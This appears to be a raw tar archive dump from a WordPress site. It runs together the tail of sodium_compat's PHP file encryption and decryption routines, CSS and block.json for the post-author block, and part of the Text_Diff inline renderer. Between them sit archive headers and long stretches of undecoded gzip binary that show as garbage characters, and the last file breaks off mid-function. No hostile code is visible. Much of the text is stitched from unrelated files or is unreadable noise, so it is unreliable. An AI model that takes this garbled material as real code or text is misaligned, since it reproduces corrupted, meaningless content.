        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
14338/post-author.tar000064400000027000151024420100010207 0ustar00editor-rtl.min.css000064400000000241151024260140010115 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}style-rtl.min.css000064400000000545151024260140007776 0ustar00.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}editor-rtl.css000064400000000246151024260140007340 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{
  margin-bottom:0;
}style.min.css000064400000000546151024260140007200 0ustar00.wp-block-post-author{box-sizing:border-box;display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}editor.css000064400000000246151024260140006541 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{
  margin-bottom:0;
}block.json000064400000003343151024260140006527 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-author",
	"title": "Author",
	"category": "theme",
	"description": "Display post author details such as name, avatar, and bio.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"avatarSize": {
			"type": "number",
			"default": 48
		},
		"showAvatar": {
			"type": "boolean",
			"default": true
		},
		"showBio": {
			"type": "boolean"
		},
		"byline": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"linkTarget": {
			"type": "string",
			"default": "_self",
			"role": "content"
		}
	},
	"usesContext": [ "postType", "postId", "queryId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDuotone": ".wp-block-post-author__avatar img",
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"editorStyle": "wp-block-post-author-editor",
	"style": "wp-block-post-author"
}
style-rtl.css000064400000000635151024260140007214 0ustar00.wp-block-post-author{
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-left:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}style.css000064400000000636151024260140006416 0ustar00.wp-block-post-author{
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-right:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}editor.min.css000064400000000241151024260140007316 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}14338/SMTP.php.php.tar.gz000064400000031121151024420100010477 0ustar00��}k{�Ʊp?�WlT=!�R��n+Gv��u�n�踩�CA$H""-+������b�]�����y޲�E{��������GS�=����a�S?�ߟ�^���,�������Տ���Z�'󁟴/^_�z�ď�W�݋�l<���Y����m��?�������X����x���ono�l�u��/��'�C�����
?߾�)���g_�gBϦ�<:���I���4��dũ�O�$i���G?N�(;�|���K|_�g���d���x~G䓑L�MtǾ�A�z~'fq��OU��<G1�z��y"���0���W�aG�~M��yC|��R[�%�n��o��_Z��`*���$�D��`��7�6��w#l!/����"��GI*�h�?D�����yHj%�<��(���O��}�a*.[0��2�E=��Qz1��7��U�G�Gx1N��ƦX�?����ש ��
�*��M�����ߘՇ���(��`Hm�6iG����1�&k����8�N�goĉ�$8�db��
��@��Q*ɧ;��Q�M|Iw��� )�8����KE���`2w�|�������7]lv��'�v��r����(	h����s;�t6	��/BOE4��˃�P~�����O"������Y��J�_�}q��=>xs�).�\^�_up���*�μ�A������N
��`�k}N�p��Q�>�,�{1O�I#��0f((?{�O�����~�*,��qؿ|�B�ia.\s�h��W�~�LH�ϳ `�K�Χw�T�{�8�‘|Ԧ��(���c���L����_[[5@y�G�c����}�+��?�����.~��]ࠨ�E�3P��"�N�@�"���`���P���s���ۻ8��B�;�='�S�W��7�����އ`:�2�'~8J�›L�Xjw�D�;[@�	�y��m�E��]<o�V��P��?.	 f ܃˓#�7x�}L�k@�i�������5���8�{���;��}
H��_��t$�b�}�=	��R��da�ˉ����$Vv�������OZv66m��w���?!��v<��_)~����t�^��2����ɮ���xb�x#?yr�'ǝ3$�������
����s	y���Da()x^:O��7��gg��.��堄E����=��9A�T����:�3�K��`a2����~�~�g��4��ЛORw=I0��
�z��T�������]Ü��fJ[%g���nAS�I�hf��-�p7��Z�݆�N��5����zO��K�����(�+�ܞ��@ @(c����LT��-��ѭ8�y�M� \K����7�i��ȗ`֌�(��ʠ({3�4�.���S�ۻ����]=��К��q�&�Hw��CFl��1� q��0P-�OR?�4�	yl��h.� �Ii6�>L�w��?�p�a�H"1�@�Nv���4)���p<���na:oooQ���V�i:[{I�K��=1��DX�Uh�)V�����B�m�W/�k�������٘Q��׀�:��A�������.��ATbG>����h���Q�P�+	��N I
��"B�AL/�x���!r~T���T}U�q��F>ù��]����t�D)7������3�Ql�_�=�m����O@!��~:���x\*��@������k���$�� r��4�2p�d�M�-����G��7����_�$���f$��ّ�v�4AMD}k}
6�$����Kv�le]����ᠧ�sK���:`��BD5T�$E��9�}?������k�gNa�x	0������ݕ(��}�!�!��D�o"P�AUg���⊜������aL�iP:�/E�C0þ{�T+Ϥ�{�y0`�P�$
[�w�՘[&9���M`�0��|�X���ac��L��P7rz%:�;~�x��aS<�hk
T�z4$I��!�����TV�_���G)4@���\���=q��S�A�����־~7��u�8�o@�^���Ѯ5��h�@NZ(�����	,/Ny��z���T;�߅����V��A?��h���������V�A�w�W��߸A�� Ra�–?�ޟz�f�:W����p\�����U��v�`�F!.�2��n��[�e��f�/�����+T��VC}W����+�#
���~I�*��~�S�.�un앹/5jZ��6 3fr:Oh	f�T�i��Kt^��k�Z�K�c��0�Tmlsos-.4:>���ȗ>��Փ@��q����i��J;<�Ŀh������s��sBO�8>�/����*�ߩF��[M<����CɜER�4��i�4B=��|f�#n��dR�y������O"�Df|8�R��'(�`Xd���~؈�i���x�I	$��U��4�:�pIk	y>��xA�+
p�Yj���~ū��!���D䦗�7Aݕ�L3�^��C���D�P�����ǥ�#Y�}৕�RE#c�K{1@UB>	l{���!ڝ��Zn���[�q8�?�B�p�4M𯟵$�0@W���N<���rM
�K
ۯ��ׇ����,MY��h��j@ڤ���_�"!Ň����H�� !w�:�^@rBpL\�>|�^�� �(~�`����s��w�<�	�O�l�r�=���{,�a'a*�V��2[��e��܈[�ˡsI͞T��Y�xx�/�p-������Ƃ��u�8Ԑ�1���4*�d��7kل	S�&2��r����_�鳑��e��k����ʶS�8���T*g,@/S���)�˷/�*B��Ru�0������'���>Nx��4���W�~�yS�VV�Z�^^��ݾ��{?�ٛ�� t9��y,���O��P
(���m��hb*���T��$�eг�>U�Ƭ��̓I�LQO1�������5�7߈���GK�Q�)�k��r	�M���7�"b��.���l0gzZz�	��&�� �5��ͽeTFa-�6ҟQ��v�gt6���H�hR!���8{-���р��7^X��^8�@�vA��?����;���7=N��cS��%���1"@����/�뵟֦k�z7�Mj
�fs�p�zH?�[���ވ-,�:�@�7j#��x�MgE����۹r�������f��VТK'�K#�h6�PyN���
�����
V9b�{E >������pE"����Vٕw�M�v8K����*Iܧ�>
Na*�@��wG~
M�!��L��u„��F��#,�|�x�.u�,oD�ن���ԉm���}�$�VV�~T�DT@C"�0j�����
����|� ����K��
������4��e=��2��BK,d�U)Q�}%w�櫞�SK
D2E5�tz}��("��}�	�0�\u�[S"aO
�zXh'lf��vSU�y�̕i;�xW���ee]Rn4����X�Ռ��n�z� ����'
�����S���آ_֭���	.�Ǭ���kV�3�.1#�Ϫ�z?Wͽ�*�|���t��P�ȶ�US��3/��b,�����q)t�z[9Є�Kd)ek��]�����=4EV��:����4@l]�@ŊA����+h5����+j,"5���}����xWS��>�h䧈�l�9J�H<�n�]�����之Mh�Dx�hP�1�&om`�K�N�L֊��`[t��V����}��&�O:r���������vR7�l(y�R�]fX��F�r%�Qed;�u{ o�i#����;���eԦ�˷�����֚�Kt��z�E�!�
�Rf��Јn�\�7��8
GF;�ӓ��3cб��+��:Q��^���k�wv�\��~���Vkc���11��<Ϝ}Yt�G��0`�Q8��c����Q�1���$x�ќ=��e�B�I�`�k�Qh����u�Xh'.l�E��d��e��Fi-�T3��iԹ�ݿ(R:��h ;��xP^�;��ֺ����?Y�����M�)Aj4w��.l���6�B�^���Ԝh�+�bq4�P5t�rU/�؄�$M�59|N�c�K���r`�����X=C�	W8�/�|p��`l�fu�F{��3g��z��Ů�7�H+�5�領a��j7M�O�6/��V�S�� �0r��u4^�-Qۥ͐����m;�%�Xo�����S鐧�������ޛ� |X���s�>pwRn$��2��q4��C��6�@�'&�}��ABl�V�����!�Br�O��&�6�=�׸��SX�.]�q�@�,��k���g	e:(��h)i�l2�_�`^n�я��#j��2�~�~<y�񡯃������[�*h{6�a�� ��*��o���|c��hk�J ��syy~���	���\�����ʮ��u���N�EX��Ǵۦ��Go)��(~���B#*��ܻQ�`"Ա�F�!Ȉ��F>�3���hL������v���Q`b%�����+X�o��j
��ig�}P�I�8�5x۬ߟӆ�]�
S���w�R@���0��$X��~Z����u��@��L�y��ieK=5z�G�{������._���-2�<{�ZV����4u�u�("�ʨT&��AJ�Ȟ�\�j��� ��M�IJ3��M�Ѻ��k�N��i�B�ݿ�B
���Q-QG���Xx��'c��I�8�g��h�Q�OY�V�\p��E��w��>?�ArU�-F���,�bg�ҟ��{H=o�6HV�hm�&��u��$�@Ɣ7c�pNG����8� _�O�t��~��){��|>����0�)n�Ohb�j"7��#�~Tdi�X���:iyA�5��oLE�Y~_A�K���UN_$#�T�u�0�.�~�NK�sc�'�=�KJ{��sPl�x8�a�N79�����>N������
��?����叒�8��q�
�A�����k��;Mqq�|���?��}��(4w�U�ѽ^H�U��3��YK�&�R:7\�x��Wt�.h��AYH�s�Ȫ�=��?�%3r���(N��x�Q'��9?���R֯=sɚ��R��v��8z?�#Z��!�޽���j�)����h}��arƌ�J��S-
�Y��)e9�>�^������x��|i�%�4ZFh�4�j���ˋ>�o�d��d���J��*��ŒW�O"L�'�?�"�+���_��7gW�����!�|���'jF�IFԒq�=
�z���k���y��J��>&���<��X�~����s�dm!AOB���	@b2��H������U��at���2�1�9;���~��i��*��8�T՜��l���I�P���DvlK�h���a�h<�cG�]�>jS�
���VK�ܔ��|fC�����P��5�Z�{�vK�"���
v�ʘw
Y�'#.���٢=�����Q�O�S�ɲ�Kp�Y�V��Rk7H8ۋ���O9/t�[�����,
��u�Ѷ�^����&ޭ�n߭��w�G���U���F��eH�$I�`*}uCN�B^h.��+T��2dqz\
��+�P�ykk����J~ �؂:�S���)OMNX/����>�0
v�^|���|�>��,i�-P�}0#�`V	�w2&��6ŏ(DR�!]��	;�z�'���~\�/eO�7��|#.$vVS���x��c��Wޭ��:�8n	�Ha��%?�[;�wǵ/D�>��Z~gbW{ؗ$�Ҟ��)���s�'��/�$��"$� -|1HJgY��DS`)>��]��`�������W�H�|�{��ζ���}?&u�M�#v�/f/�j��x��dM�M8�MLFޏ�,�R�2F?i!(�%��(F	�.�A	�
��2��)�3��@"y�B�e��
-']e^��"���cc	7Knc��vݍ�/��h��ݗz���%���P�1�>+��Kޤ?��)I(P�z}��Qjcm�|����>=��j�M�^V1�����0��xd3�&9e�Q��7(J�C�[����$㒲�9{=�Y�ĕce\���Fq|y{��S�d>��+QXrP@�"�8��Bt� c��R����So��8��mjkJ���������O��X�f"TF�S4�b�Fyvw��0�e���`H%��cB�b[�8��I�Ę�9�`4��	1��y�^��CJ��́�<�~AES�r!xr3so�e<��-]Ih�}���L4ĵ��
�<�f̼l��Ѱ��?����W(iԡ �B�����;�\������4�>ʿ��}�s��l��
w�bn(L��k��[6p��#���@6�R8���Y<��qj��ȀQ{=��H~+`����
k7nØ�,�7	�%(��6�⇝B�λ��]�9?�<���`�铂s
\�(b@��2(�i�d�pqP��Р�iG����1��#{���E�X��� �K��ϔ}?�U��S˕ٕ�����G��J�˺�� K�&�;;�ٷ����R�
P�	W��*I�U���C~���7�����A`�� v$��)�B`$�-/.p�����M0d�QQiΌGǘ+�I�Q�
8�!%���d�SNf��D��;��Ȇ�dɜ�8�n �%CR
p�h����<��2J�:#�D
���ڥ��D���Dk�(–FO|�	Y_fͪtL�yՊJ��^�E�G���<'M�Z1�d��Pj%��e��˕ȉW*M��<�G�fT�yCPM�qY8�\1P�^< 4r��-?�v����5�wk����
� *����0��Oq�8���6��}3=G<�c�1ؗ�W/)(�
蜅X6����8������"����K�8�4����`��:U
%
 (����mmxG�:!��S��ڠcb�ȧ��\�S4
IJa:��%"Ӯ���oe��6�F�>.7��*si�U�����y��\۰M�&M��v_�h:��H&�~֤�k��6�yg��:��?�Il`D'����+4�bd�t|�i(��ʍ��ִ�s�b�(�=^��������)�8��f	;`���h�'ɐ22�0^��̷Lo�k��K��*er�a�]�$��w��%kd���@kD�J+)��뉻��3^�Y�{�V�
¦��Q[��7�&]7��0��B�dY6�G�'8�M�p�'�����3�~1JN�'����x�Y�����\�8Dg�?�f%$"t����j�����^���W��-	
��(�, �ӑ4����%�[CO�i�x,\I�s�
K��37zI�b�6�A�&���Y:�˦�kU
���$!mT�q�f�O����t�#�;�r���!�a�c�N#�Jr���FR�Z�y�*�%k]D��������pz��{GA� �N��HB>�L(��׭z�
e�B�"��F:�n�7+0
����8�!�F"�0ͺ��^5�7NA�!h+�ZuJ*8�|�a����F-fQ�yO~#̰�0��G���@ۛ�N��ٜ�IjX������p
�A9�C��)m�d0<�'o�.�pi(�}G�_SS�rkS)Z�v�
'��ԷB�S���.ħ�K3![(�2�h�:O�I^��szb���7G:�ҵ$��t��_c]a^?9��݌�f�����~�M˹�hL��e�V��	>*f~��Ŗ�6��=�(Y�4�"g �)4�b��ˡ��̤-V�I�0��t���6B�,�г��fG�S#����)l�l�������Z�&,�Gt�Q�ia�Ď"k�>�('�yu3��Ќ��|d�2�и,�
ó���2KR�0@���|�oi��šr�����&W!��˞�SmO�(�H?�T]aa\���D�v���`uj���W/ŷ�h
��K�c��<��R��[&��KY�0v���3<��Z8;�s'$(�z8H?�Ì"�zB]�"SE͔P�55�]���2�T:���<I�� �%��sUW�"�@�еO��Ⱥ�77,��A�=f�E���)>�F�p�D��a�/��(�M��G���4�ݡ��=J�b�ӯ(�q.����0C!�PX ��0R�l0�J��N
���
Mˮ�h��
U�%
��ħ!���Hh�/a�vН�4>a���fiUu�X26�#N�K</�X02���6��D4���R�V5�ao�N��Yg�I��!o��[\
���"��qN~�E�q��T�KL9E1�5.�=�ȫ�T�n�ܖʡ��hG�r�و�vּU6'S���
d�2<P�! ��+�~6t�(�܋�E�ò���d��:<ֽ��c"(��4@���OT�T/B���a��vw�=p�
��ɜ������qx ��������\��SᢞAB�=Ր�x�]1y�c(��[�7?FR��%/HTCQ�f���4�7����o�&�|bm�W�'�Y�TY�i����ͦ:�DS��*�m�Ku�����m7��$�|H��Y��.G`E7���,����,�9Оe��Ȑ/������/�l�R�&��@}ty~��m����_ë�^.w~Eh���Y��B2�ϕ�[u��m@4��/Rr��z��#Nj�j��/�Q��#�aRp9�^�~K2�$��5�0��@�/'�Rʱ���yvb��C,�ǐ��ɼX�t��C0z�ţ9%��x]4�.�a�  *�b�]�!\�ܝ
�
�~'�>�0���7���	�5'j����i�ì#Y=Qg��=�Q��ug�����"nJ$Z+���N_^�w��#�I��2m�/.lB���]��0-g���劼R����E
|����'iЋ�9w-I9��ľ��߂���
Oa^�aQ<��n�dY�x�%��`LdexL����Wgx���_� �:������A��)������J>0凝���hs��x�z���ȏS��zcC�(ڱ�3Xv��ɫ+�5y�.ˆ!C۝-���$B�s�pr��.R�k��4��f~�=���QJQ�P��"�B�L�S�^F�HkY� ��I�F,��t�;r���X�I7Tp�@W�+!w��+~�DW�^<���w�Ӟt� U��Y�i�~[6��t
[2*6��S�s�J+C�7.�~i��Eus�+)�dX��\z�)N���'�6�����F���3M+�����R������G��*,w(i�&~�&?�ʝZ��@_{b�܊�9�J-�"��3�[��Ϋ��w��a�/ܽM@yÁDCg�e�n��©�ީ��}�si
�3J-/�
�!�7�w1��%�O������%�F���N�ت���R�bE��		�t�M� ,��	��\�|ͯBṡ��R1SD�hfh��%?KO���
��&��ؚ
Ҫ�aY�P�VI��(�c��tKV�Т��(�d�s�󣉞��E8z�,�-������q�����Q�TK5e�$�PC���Ni�D�?�U/��N��n�h����
d�x�$t{3+!�M�^�ww^U�-y+N
]�B����卓�k�vS�K��ɫ>�ϯ��O
�x�β��њ�/Gz5#M�.v�Q0�������*@�(^�M� ���hB��+{����RX�]���X.Ȳt)`�Nk3]i�J`~B4/8�O]��U�G��k��ZS�!�n�H�����EW�P��OLΛЙ2Ȁ�swI*&r��ɵ��dد�vʦ_�~�<�ͤ/��)�e5�.�ޱ0g�����:2�J�8^D�ǀ�2j�fS�R�b)Yu	j�&�|~X���ӝ2d>��Ζ����]�?��⼁H�w���b+I�DmN$��?���qi/3���0���J�t��}��z��ARrĀ~�c�D���Q��P��:����X)��<}�|�M+���,�0��ppZj���phx=
�FG-�<A������{z�X�),��{������r�1#�8f�*�p3�r�>;?�n'֞Z�i�5�7��V�������pqp�g��(�=E=D�Q�������3k��n�H�1<~���O���Cf�2oA�K�	�8:�o�y�n�C��Ȉ^鵨vS�A��G��оD�*�s�C`�I�ƽX���#,U�������2Q�2"��l�-�Q���uӱ	;��*#a�6b�A�q���l"�������
璾P\3|Ty���SE�&;������G|�_��8�h-`��ߌ
)�U�V�hh�>�F���L���G<��p�܏�Yʇ��e(�96BGD���r�n�4A}#g
e���c�C��c�9��.�ny9*'*����o���2Eki���~	3YN��I���-��o:���Ơ���+��!�M1�W��h�W[yO5�aQ��S�z��޹l��z���-3�|N���*���ʣ��80��r����*+c"+˱;�m%����mh���·�$H��+��a���q�;4�n�}�ߤ2�[��v�J�C![����d6��U�ԫ���T���lSg��]ժ-�WM�=O�'�59���kF���Ե�&7��|��X�
h�8`���{1<8����;+�[&����Y�$�7��eG����=�
�cNc�*�
)�yM�g2j�Mő?x;	В:f�+�(���d��-q�4Q��bs�����ʼn ��P�&�)���2ݪ��fx?3���"�7��I�K}���	Хҥc}Fg{+s-e@׌�5���	�:A��oI@o�0��½d� ����G1�8��V̱J	K�qZ���.��*�#�b.��n#<9���-ȕ��&r���fl=Ÿ�K���Zbo-����J=�B�ʷN]U�njj��+��o��t
��
#R2���P�w2R��ELm!�E��mh@��@A��V���.�����X���PS4A�&T3j]�$/>eJ��V�!��P��CO)O݊5�a^���/; �/@[��G�\sfof�.��*8�{!]7<٢ev��1���b�^:����? 2��"���xJV�Ɍ��2o��_�RJ�?
_&q�(��Hy�!�E���QX�{�y��=������̗���d�2�JF͎`���Z����އQ����\2i?�������8D�aޯIi��4�M���Oa��,�]4�U��M)�y�+5����Ԋ>pTq�dm�WaWf���G������h�Zc�tm�;3�S��ķ���B/Ȓn��-0�$��DȜ��"��3W�:���5���=�ner
��Ko��U[���= 1fth²�p�9)���tˡ�"��R3"g�Z�y��q�D��=ݎ�ם�x��J�ȼk(���͌���y�+�?}�f�P[Q�A�&��Au%f�|�9�����ߔ��p�8��,�e���'�ؤ�H��z|������]����h:�*X[�-w�m�-�F��gq<̼)�bjG�d�_Uy�Xɷ��lWۭM��fO妖*��ic/K2SB��9�P��ʌ9��I���y(�6��Y�����-��쇼�AߞZ�|��R�{Ai~�nȳI~���#tp��������ԙTW-�W�$����:��J�o�c���k�L1I�;���s��E�y1�u ���!K<��Fy���ɠ]J,APʥ/���E1��� c)Tm�o8j���3��t�NȦ�X]z+0�L������!�H3%�Q*UbX�KVW�U��S=���[�R�K�m��i}�OW����c>iyW�
	�q�-vQM){ҧ��r
�G����ş�yL&�Pj�9�h���Q�u?-)�����mP�.j��:*���\��k�+�;3o6JȝAX|��p�!`!��:�r�.�.���A%\d5
��?ˊ����$+\j�BRʝR�9B%}D	�ֵ��,s���k�d��:�E|�U�e�e�GAC�?��:�f��l8M�mT6UTE�p��{�/��'Y�L��׿��G��%�Z&*ԧ�{�%�\
D��!ؓ�/�M7��i�R�d(2R�
�|���J����]}�� �@TǍ��ڰ&�(GpW�P����cy�*��ۭ����;8u(��� G?Z,�SF�ܢd�.^_��Pe��;��h2��;�K��J��8�������ʻ)Aw��oR.ݼL\���T�kf��}Ku�)�S�,��4L�L�p�s�l�=(��=�3*r*��R7�\�-� �ȍ�ꉽ���q���⋰8$�)j�D�ʁ&�P�S���H���eQƜ�̡�3� �p3�d���d� ��F3�`�S�
��I��3J��M�t������JR��m�|8��9G���þLi�'�P]�Ggr�1��
�ņ��Q���JS�܎�1�
�2����	�Q�c���X�G�8�E�0TC�/!
R�(ං;�L��GU�7%�+�����ȣ�hI�������e�,:��ܟ�ms�/`�'�.���ۂ����9�������?���?��'��14338/marqueeVert.gif.gif.tar.gz000064400000000424151024420100012152 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-��*j�/��M,*,MM
K-*�K�Lc@@`fb€���Ĕ����������(ndjnd�`������$�h%=�������2��A��#êU��B��������\C��\���AB?YX�t@AZ��z�9�O��Y�!�
�v�[�v�y@�&iF��L����K����[��n��LX��,vF�(��v�Nd�14338/inline.php.tar000064400000016000151024420100007764 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Text/Diff/Renderer/inline.php000064400000012630151024326610026707 0ustar00<?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
